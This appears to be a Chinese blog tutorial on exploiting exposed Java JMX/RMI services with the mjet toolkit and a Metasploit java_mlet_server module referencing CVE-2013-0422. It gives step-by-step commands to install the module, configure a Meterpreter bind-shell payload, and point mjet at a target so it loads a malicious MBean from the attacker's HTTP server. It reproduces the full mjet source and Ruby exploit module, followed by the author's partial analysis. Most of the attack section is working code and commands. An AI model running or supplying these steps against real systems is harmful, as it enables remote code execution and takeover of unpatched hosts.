一、背景:
這裡需要對java反序列化有點了解,在這裡得推廣下自己的部落格嘛,雖然寫的不好,廣告還是要做的。原諒我:
二、攻擊手法簡介
針對這個使用msf攻擊需要大家看一篇文章:JMX RMI Exploit 例項 , 鳴謝,確實學到了很多,膜拜大牛 , 簡要介紹下攻擊手法:
(1)下載mjet模組:下載連線mjet,如果是mac電腦安裝好metaspolit以後可以直接使用git clone命令下載到metaspolit的父目錄下:
git clone https://github.com/mogwaisec/mjet.git
(2)拷貝檔案到響應目錄下:
cp -r mjet/metasploit/MBean metasploit-framework-master/data/java/metaspolit cp mjet/metasploit/java_mlet_server.rb metasploit-framework-master/modules/exploits/multi/misc/ cd mjet/src/java/metasploit/MetasploitBean/src/metasploit javac Payload.java cp Payload.class ~/Desktop/metasploit-framework-master/data/java/metasploit/
(3)進入msf,配置相關配置:
msf > use exploit/multi/misc/java_mlet_server msf exploit(multi/misc/java_mlet_server) > set payload java/meterpreter/bind_tcp payload => java/meterpreter/bind_tcp msf exploit(multi/misc/java_mlet_server) > set LPORT 4444 LPORT => 4444 msf exploit(multi/misc/java_mlet_server) > set LHOST 192.168.100.101 LHOST => 192.168.100.101 msf exploit(multi/misc/java_mlet_server) > set uripath /asdfgh uripath => /asdfgh msf exploit(multi/misc/java_mlet_server) > run
另外一邊開啟一個終端:
java -jar mjet.jar -p 1099 -u http://192.168.100.101:8080/o5jSTI5rEWJw6Is/ -t 192.168.100.102
再補充一些msf的命令知識:
''' 對於msf來說 set LHOST、set LPORT、set RHOST、set RPORT就不說了都懂 檢視配置選項show options 需要修改那個修改那個就可以了 set uripath /asdfgh set SRVPORT 1234 等等 '''
三、下面來分析一下mjet的原始碼所進行的流程
宣告:
這裡使用正反向都可以拿shell,但是反連Server需要能直達,攻擊網際網路站點的化需要有一個公網IP。
很簡單,到對方RMI去註冊,然後RMI回連到msf起好的服務這裡來:
我們來看mjet的原始碼
1 package de.mogwaisecurity.lab.mjet; 2 3 import org.apache.commons.cli.*; 4 import javax.management.remote.*; 5 import javax.management.*; 6 7 import java.util.*; 8 9 public class Mjet { 10 11 /** 12 * @param args 13 */ 14 public static void main(String[] args) { 15 16 System.out.println("---------------------------------------------------"); 17 System.out.println("MJET - Mogwai Security JMX Exploitation Toolkit 0.1"); 18 System.out.println("---------------------------------------------------"); 19 System.out.println(); 20 21 CommandLineParser parser = new org.apache.commons.cli.BasicParser(); 22 23 Options cmdOptions = createCmdOptions(); 24 25 CommandLine cmd= null; 26 27 try { 28 cmd = parser.parse(cmdOptions, args); 29 } 30 catch(ParseException exp) { 31 System.err.println( "[-] Error: " + exp.getMessage()); 32 System.err.println(); 33 34 // automatically generate the help statement 35 HelpFormatter formatter = new HelpFormatter(); 36 formatter.printHelp( "mjet", cmdOptions ); 37 System.exit(1); 38 } 39 40 pwnJMXService(cmd); 41 } 42 43 private static Options createCmdOptions() 44 { 45 Options cmdOptions = new Options(); 46 47 // Required arguments 48 Option targetOption = OptionBuilder.withArgName("host").hasArg().withDescription("target host").isRequired(true).create('t'); 49 Option portOption = OptionBuilder.withArgName("port").hasArg().withDescription("target service port").isRequired(true).create('p'); 50 Option urlOption = OptionBuilder.withArgName("url").hasArg().withDescription("url of the mlet web server").isRequired(true).create('u'); 51 52 targetOption.setLongOpt("target"); 53 portOption.setLongOpt("port"); 54 urlOption.setLongOpt("url"); 55 56 cmdOptions.addOption(targetOption); 57 cmdOptions.addOption(portOption); 58 cmdOptions.addOption(urlOption); 59 60 // Optional arguments 61 Option helpOption = new Option("help", false, "show this help"); 62 cmdOptions.addOption(helpOption); 63 64 return cmdOptions; 65 } 66 67 static void pwnJMXService(CommandLine line) { 68 try { 69 String serverName = line.getOptionValue("t"); 70 String servicePort = line.getOptionValue("p"); 71 String mLetUrl = line.getOptionValue("u"); 72 JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + servicePort + "/jmxrmi"); 73 74 System.out.println("[+] Connecting to JMX URL: "+url +" ..."); 75 76 JMXConnector connector = JMXConnectorFactory.connect(url); 77 MBeanServerConnection mBeanServer = connector.getMBeanServerConnection(); 78 79 System.out.println("[+] Connected: " + connector.getConnectionId()); 80 81 ObjectInstance payloadBean = null; 82 83 System.out.println("[+] Trying to create MLet bean..."); 84 ObjectInstance mLetBean = null; 85 86 try { 87 mLetBean = mBeanServer.createMBean("javax.management.loading.MLet", null); 88 } catch (javax.management.InstanceAlreadyExistsException e) { 89 mLetBean = mBeanServer.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); 90 } 91 92 System.out.println("[+] Loaded "+mLetBean.getClassName()); 93 System.out.println("[+] Loading malicious MBean from " + mLetUrl); 94 System.out.println("[+] Invoking: "+mLetBean.getClassName() + ".getMBeansFromURL"); 95 Object res = mBeanServer.invoke(mLetBean.getObjectName(), "getMBeansFromURL", 96 new Object[] { mLetUrl }, 97 new String[] { String.class.getName() } 98 ); 99 100 HashSet res_set = ((HashSet)res); 101 Iterator itr = res_set.iterator(); 102 Object nextObject = itr.next(); 103 104 if (nextObject instanceof Exception) { 105 throw ((Exception)nextObject); 106 } 107 payloadBean = ((ObjectInstance)nextObject); 108 109 System.out.println("[+] Loaded class: "+ payloadBean.getClassName()); 110 System.out.println("[+] Loaded MBean Server ID: "+ payloadBean.getObjectName()); 111 System.out.println("[+] Invoking: "+ payloadBean.getClassName()+".run()"); 112 113 mBeanServer.invoke(payloadBean.getObjectName(), "run", new Object[]{}, new String[]{}); 114 115 System.out.println("[+] Done"); 116 117 } catch (Exception e) { 118 e.printStackTrace(); 119 } 120 } 121 }
先宣告,我對java的懂得很少很少,初學者階段。
只能說或這裡呼叫了invoker,使用payloadBean.getObjectName.getMBeansFromURL這裡呼叫getMBeansFromURL這個函式,我去百度了一下,這個函式
註冊了我們們msf生成的那個server,然後看java_mlet_server.rb
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Mlet Server', 'Description' => %q{ This module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in January of 2013. The vulnerability affects Java version 7u10 and earlier. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery 'egypt', # Metasploit module 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-0422' ] ], 'Platform' => %w{ java linux osx win }, 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 10 2013' )) end def setup path = File.join(Msf::Config.data_directory, "java", "metasploit", "MBean", "Metasploit.class") @mbean_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.data_directory, "java", "metasploit", "MBean", "MetasploitMBean.class") @interface_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } #@exploit_class_name = rand_text_alpha("Exploit".length) #@exploit_class.gsub!("Exploit", @exploit_class_name) super end def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jar$/i jar = payload.encoded_jar jar.add_file("metasploit/Metasploit.class", @mbean_class) jar.add_file("metasploit/MetasploitMBean.class", @interface_class) #metasploit_str = rand_text_alpha("metasploit".length) #payload_str = rand_text_alpha("payload".length) #jar.entries.each { |entry| # entry.name.gsub!("metasploit", metasploit_str) # entry.name.gsub!("Payload", payload_str) # entry.data = entry.data.gsub("metasploit", metasploit_str) # entry.data = entry.data.gsub("Payload", payload_str) #} jar.build_manifest send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) when /\/$/ payload = regenerate_payload(cli) if not payload print_error("Failed to generate the payload.") send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end end def generate_html html = %Q|<mlet code=metasploit.Metasploit archive=#{rand_text_alpha(8)}.jar name=#{rand_text_alpha(8)}:name=#{rand_text_alpha(8)},id=#{rand_text_alpha(8)} ></mlet>| # return html end end
先宣告我也只懂一個大概流程,等到rmi回連後,把那個構造好的class發過去,那邊呼叫invoker介面去呼叫其中的run方法。
這裡的列印也可以說明這個問題
看一下這幾個類的程式碼,繼承了MetaspolitMBean介面,在run方法中呼叫了Payload的run方法:
package metasploit; public class Metasploit implements MetasploitMBean { public void run() { Payload.main(null); } }
package metasploit; public interface MetasploitMBean { public void run(); }
1 package metasploit; 2 3 public class Payload { 4 5 6 public static void main(String[] args) { 7 System.out.println("bla bla bla"); 8 9 } 10 11 }
層層呼叫,但是也只是一個列印bla的類,在下面這段程式碼中就是呼叫這個run方法:
分析到這裡就不知道怎麼分析了,還是沒搞清楚這樣有啥用,shell是怎麼反彈的,迴歸到rb的原始碼檔案,看到這樣的描述:
於是決定去看這個CVE,然後來琢磨怎麼辦?從描述上來看,是逃逸了sandbox執行程式碼。需要說明的是,java的RMI先後爆出了很多java反序列化漏洞,cve-2013-0422只是其中之一,後面也還有不少,所以這個cve-2013-0422也只是打擊RMI的一個方法之一。影響的是7u10機器之前的版本。
根據一篇部落格的詳細記敘http://wcf1987.iteye.com/blog/1768599我們知道了這個是幹掉java安全機制的漏洞,目標是逃逸出java沙箱以便於執行java applet程式碼。
這就要看mlet標籤了,裡面還是關於metaspolit的類。估計真正的惡意程式碼執行或者和惡意命令執行還是後面msf弄的,而不是單單一個run函式就可以搞定了。這後面的東西猜測與設定的payload有關,例如正反向的shell的那個java的payload裡面可能有相關的東東。